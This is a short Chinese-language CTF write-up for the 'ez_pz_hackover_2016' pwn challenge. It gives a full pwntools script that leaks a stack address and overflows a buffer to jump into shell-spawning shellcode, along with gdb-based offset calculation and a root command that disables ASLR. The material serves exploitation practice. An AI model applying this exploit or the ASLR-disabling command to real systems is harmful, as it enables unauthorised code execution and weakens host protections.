ez_pz_hackover_2016
我看过一些师傅的wp,不是很好理解,我这里从动态调试入手
题目类型:retshellcode
所需知识:栈结构
题目流程我就不说了
直接上exp
from pwn import*
io=process('./ez_pz_hackover_2016')
context(log_level="debug",arch='i386')
gdb.attach(io,'b *0x8048600')
shellcode=asm(shellcraft.sh())
io.recvuntil(b'crash: ')
sta=int(io.recv(10),16)
print("sta==>"+hex(sta))
payload=b'crashme\x00'+b'a'*(0x16-8) +b"bbbb" + p32(sta-0x1c) + shellcode
io.sendlineafter('>',payload)
pause()
io.interactive()
首先要做的事确定要填充多少字节的数据,才能覆盖返回地址
如果你从这个dest
到ebp的位置来算,会出问题的
我们直接上gdb,断点下在nop位置
在此之前,先关闭地址随机化,更方便调试
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
我们可以算出从dest的输入地址到ebp地址的距离
0xffffcd18 - 0xffffcd02 = 0x16
所以我们要覆盖0x16字节的数据到ebp的位置
之后就是确定返回地址,程序是打印了变量s在栈上的地址
然后s在栈上的位置
程序在调用vuln函数的时候,它实在原有栈地址上直接压栈的,也就是说没有弹栈之前数据地址没有变
所以我们可以用0xffffcd3c
得到返回地址
0xffffcd3c - 0x1c = 0xffffcd20
为什么是0xffffcd20
,因为0xffffcd20
是我们写入shellcode的起始位置。
ok,写完我就感觉我写的好没水平啊,就这样了